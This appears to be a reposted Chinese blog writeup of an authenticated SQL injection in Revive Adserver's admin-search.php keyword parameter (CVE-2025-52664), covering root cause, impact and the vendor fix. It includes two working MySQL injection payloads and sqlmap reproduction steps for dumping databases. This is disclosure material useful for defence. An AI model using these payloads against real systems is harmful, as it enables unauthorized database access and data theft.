当前位置: 首页 > news >正文

Revive Adserver SQL注入漏洞分析:关键词参数引发的数据库安全风险

Revive Adserver SQL注入漏洞技术分析

漏洞概述

在Revive Adserver的管理搜索功能中发现了一个严重的SQL注入漏洞,具体位于admin-search.php文件中。该漏洞存在于keyword GET参数的处理过程中,该参数被传递给多个数据库查询,但缺乏适当的清理或参数化处理。

漏洞根源

漏洞源于使用phpAds_registerGlobalUnslashed()函数注册用户输入变量(包括keyword),但未进行适当的转义:

phpAds_registerGlobalUnslashed('keyword', 'client', 'campaign', 'banner', 'zone', 'affiliate', 'compact');

随后,这些用户控制的输入被直接传递给多个数据库查询函数:

$rsClients = $dalClients->getClientByKeyword($keyword, $agencyId);
$rsCampaigns = $dalCampaigns->getCampaignAndClientByKeyword($keyword, $agencyId);
$rsBanners = $dalBanners->getBannerByKeyword($keyword, $agencyId);
$rsAffiliates = $dalAffiliates->getAffiliateByKeyword($keyword, $agencyId);
$rsZones = $dalZones->getZoneByKeyword($keyword, $agencyId);

即使不检查这些函数的实现,也能明显看出它们在将keyword参数纳入SQL查询之前没有进行适当的清理,从而导致SQL注入。

技术分析

使用SQLMap测试确认了两种不同的SQL注入漏洞:

  1. 基于错误的注入(使用MySQL的EXTRACTVALUE函数):
Payload: keyword=FUZZ') AND EXTRACTVALUE(8429,CONCAT(0x5c,0x716a7a6a71,(SELECT (ELT(8429=8429,1))),0x7178787871))-- Nqvq&compact=t
  1. 基于时间的盲注(使用MySQL的SLEEP函数):
Payload: keyword=FUZZ') AND (SELECT 3790 FROM (SELECT(SLEEP(5)))yGYJ)-- YFDA&compact=t

复现步骤

  1. 打开Burp Suite并使用其内置浏览器
  2. 访问以下请求:http://localhost/www/admin/admin-search.php?keyword=FUZZ&compact=t
  3. 使用Burp Suite捕获请求
  4. 使用nano testsql.txt将请求保存到文本文件
  5. 运行以下命令:
sqlmap -r testsql.txt --dbs

您将看到数据库被提取出来

影响范围

此漏洞允许经过身份验证的攻击者:

  • 从数据库中提取敏感信息
  • 修改或删除数据库内容
  • 可能在数据库服务器上执行特权命令
  • 通过数据泄露可能升级到更严重的攻击向量

SQLMap测试成功识别了数据库名称,并确认能够通过易受攻击的参数执行任意SQL查询。

根本原因

根本原因是输入验证不当,以及缺乏预处理语句或参数化查询。应用程序直接将用户控制的输入纳入SQL查询,而没有足够的清理或转义机制。

这是Revive Adserver源代码中的一个基本代码缺陷,而不是配置错误的结果。

修复过程

开发团队确认了该漏洞,并提供了一个临时修复补丁。实际上,该漏洞存在于未维护的PEAR MDB2包中,特别是在matchPattern功能中,该功能以错误的顺序应用不同类型的转义,导致字符串转义不当。

团队计划发布6.0.1版本,并请求CVE-ID(CVE-2025-52664),在发布后不久披露报告并发布安全公告。

漏洞状态

  • 严重程度:高(8.8)
  • 状态:已解决
  • CVE ID:CVE-2025-52664
  • 弱点类型:SQL注入

经过测试,修复补丁成功缓解了SQL注入漏洞,同时保持了所有搜索功能,查询正常工作且没有错误,输入清理功能正确处理用户输入。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://icebutterfly214.com/news/18150/

相关文章:

  • [KaibaMath]1019 关于收敛数列拉链定理的证明
  • deepseek-ocr部署
  • 郑州西亚斯学院举办智能体创新大赛
  • CSP 2025 游记总结
  • 如何选择一个人工智能项目
  • 从编码到部署:5大AI工具盘活你的全栈开发流程
  • 2025年智能家居产品品牌推荐排行 top 5
  • Web3 去魅:写给程序员和普通人的技术解读
  • 2025 年安全触边厂家最新推荐榜:聚焦品质服务商,结合权威测评与市场口碑的全面选购指南防爆灵敏安全触边/无人车安全触边公司推荐
  • 国家育儿补贴怎么领?领多少?AiPy 计算器帮你一键查询(附计算器生成教程)
  • Day12背景属性---拆封写法与复合写法
  • 2025 年胰岛素泵厂家排行榜权威发布,实力厂家技术与口碑全景解析及选购指南软针植入 / 平衡式留置针 / 无异物感胰岛素泵公司推荐
  • 2025年冷链食品冷库供货厂家权威推荐榜单:食品级冷库/食品速冻冷库/保鲜食品冷库源头厂家精选
  • 在 Ubuntu 中创建一个拥有 root 权限的 mjroot 用户并禁用root用户
  • 低功耗LCD段码液晶驱动 VKL144A/B LCD驱动厂家
  • Go红队开发—图形化界面
  • 2025年河南公共走廊全钢防火隔断公司权威推荐榜单:商场全钢防火隔断/公共走廊防火隔断/公共走廊防火隔墙源头厂家精选
  • 智能体自动化 ui 测试
  • 2025 年 11 月倍捻机,直捻机,大卷装倍捻机厂家最新推荐,实力品牌深度解析采购无忧之选!
  • 2025 年 11 月智能倍捻机,节能倍捻机,高速大卷装倍捻机厂家最新推荐,实力品牌深度解析采购无忧之选!
  • 2025 年北戴河海鲜餐厅推荐权威榜单,聚焦专业采购与精湛厨艺的优质之选北戴河海鲜,北戴河特色美食店推荐
  • 基于粒子群算法(PSO)的灰度图像阈值分割及多适应度函数实现
  • 小狗
  • 2025年水利铸铁闸门厂家权威推荐榜单:弧形铸铁闸门/抓斗式清污机/铸铁闸门源头厂家精选
  • 大屏动态交互总结
  • 2025 年度用友管理软件经销商最新推荐排行榜:权威测评 + 专业分析,精选优质服务商助力企业数字化转型制造业 / 建材行业管理软件代理商推荐
  • 2025 年 11 月温泉泳池设备,酒店泳池设备,别墅泳池设备厂家最新推荐,技术实力与市场口碑深度解析!
  • 2025 年 11 月膜结构停车棚,膜结构汽车棚,膜结构推拉棚厂家最新推荐,实力品牌深度解析采购无忧之选!
  • 2025年日照中式婚宴场地推荐,婚宴场地服务哪家靠谱?
  • 2025年消雾装置冷却塔供货厂家权威推荐:消雾冷却塔/消雾冷却塔选型/消雾冷却塔变频源头厂家精选